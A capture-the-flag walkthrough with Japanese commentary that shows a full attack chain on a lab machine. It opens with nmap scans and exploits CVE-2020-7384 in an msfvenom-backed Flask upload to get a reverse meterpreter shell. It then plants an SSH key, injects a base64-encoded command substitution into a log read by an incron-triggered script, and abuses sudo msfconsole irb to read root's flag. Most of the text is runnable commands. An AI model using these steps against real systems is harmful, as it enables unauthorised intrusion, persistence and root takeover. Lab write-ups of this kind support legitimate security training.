nmap -Pn -p- --min-rate 500 -T4 10.129.95.150
nmap -sV -sC -p 22,5000 10.129.95.150

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp    Werkzeug httpd 0.16.1 (Python 3.8.5)

curl -s http://10.129.95.150:5000/ | grep -i title

<title>k1d'5 h4ck3r t00l5</title>

CVE-2020-7384は、Metasploit付属のmsfvenomがAndroid APKペイロード生成時に
「テンプレートAPK」(既存の正規APKをベースにペイロードを埋め込む機能)を
指定できる仕組みを悪用する脆弱性。テンプレートとして渡すAPKファイルの
署名用キーストア内のCN(Common Name)フィールドに、シェルコマンドの
区切り文字(例: バッククォートや$())を仕込んだ悪意ある文字列を
設定しておくと、msfvenomがそのAPKを再署名する過程(jarsigner/keytool等の
呼び出し)でCN値がシェルコマンドの一部として評価され、
msfvenomを実行しているサーバー側(=このFlaskアプリ)でコマンドが実行される。

このマシンのFlaskアプリは、ユーザーがアップロードした「テンプレート」
ファイルをそのままmsfvenomの-xオプションへ渡してAPKを生成する機能を
持つため、悪意あるテンプレートAPKをアップロードするだけでFlaskアプリの
実行ユーザー権限(kid)でリモートコード実行が可能になる。

msfconsole -q -x "
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection;
set LHOST 10.10.15.200;
set LPORT 6391;
set PAYLOAD android/meterpreter/reverse_tcp;
run;
exit"

[+] msf.apk stored at /root/.msf4/local/msf.apk (1663 bytes)

nc -lnvp 6391

curl -s -X POST http://10.129.95.150:5000/ \
  -F "os=android" \
  -F "lhost=10.10.15.200" \
  -F "lport=6391" \
  -F "template=@msf.apk" \
  -F "action=generate"

mkdir -p ~/.ssh
echo "ssh-rsa AAAA...(Kali側で生成した公開鍵)... root@kali" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

ssh -i id_rsa_sk kid@10.129.95.150 "id; cat /home/kid/user.txt"

uid=1000(kid) gid=1000(kid) groups=1000(kid)
92befba5b05665b4fe00eba6447bb362

incrond(inotifyベースのcron相当デーモン)が root 権限で稼働しており、
/etc/incron.d/ 等の設定によって /home/kid/logs/hackers ファイルへの
書き込みをトリガーに、pwnユーザー権限で /home/pwn/scanlosers.sh を
自動実行する設定になっている。scanlosers.shの内部ロジックは
おおよそ以下のような構造:

  ip=$(tail -1 /home/kid/logs/hackers | awk '{print $3}')
  sh -c "nmap -sV -oN ... $ip"

つまりhackersファイルの3カラム目の値がシェルの文字列展開内に
そのまま埋め込まれるため、$()コマンド置換を含む値を書き込めば
pwnユーザー権限で任意コマンドが実行できる。

cat /etc/incron.d/*
cat /home/pwn/scanlosers.sh

pwnユーザーは sudo で Metasploitフレームワーク(msfconsole)を
パスワード無しで実行できる。msfconsoleの irb (対話型Rubyコンソール)
サブコマンドへパイプ経由でRubyコードを送り込み、system()呼び出しで
root権限のシェルコマンドを実行させる。msfconsole自体の起動には
約30〜60秒かかる。

cat > /home/kid/logs/run_msf_irb.sh <<'EOF'
#!/bin/bash
printf '%s\n' 'system("cp /root/root.txt /home/pwn/r00t.txt && chmod 644 /home/pwn/r00t.txt")' \
  | sudo /opt/metasploit-framework-6.0.9/msfconsole -q -x 'irb' > /home/pwn/msf_irb_out.txt 2>&1
EOF
chmod 755 /home/kid/logs/run_msf_irb.sh

echo $'a b $(bash -c \'echo YmFzaCAvaG9tZS9raWQvbG9ncy9ydW5fbXNmX2lyYi5zaA==|base64 -d|bash\') x' \
  > /home/kid/logs/hackers

sleep 30
cat /home/pwn/r00t.txt

68e89263a8f72ffba4c8db8431870d4a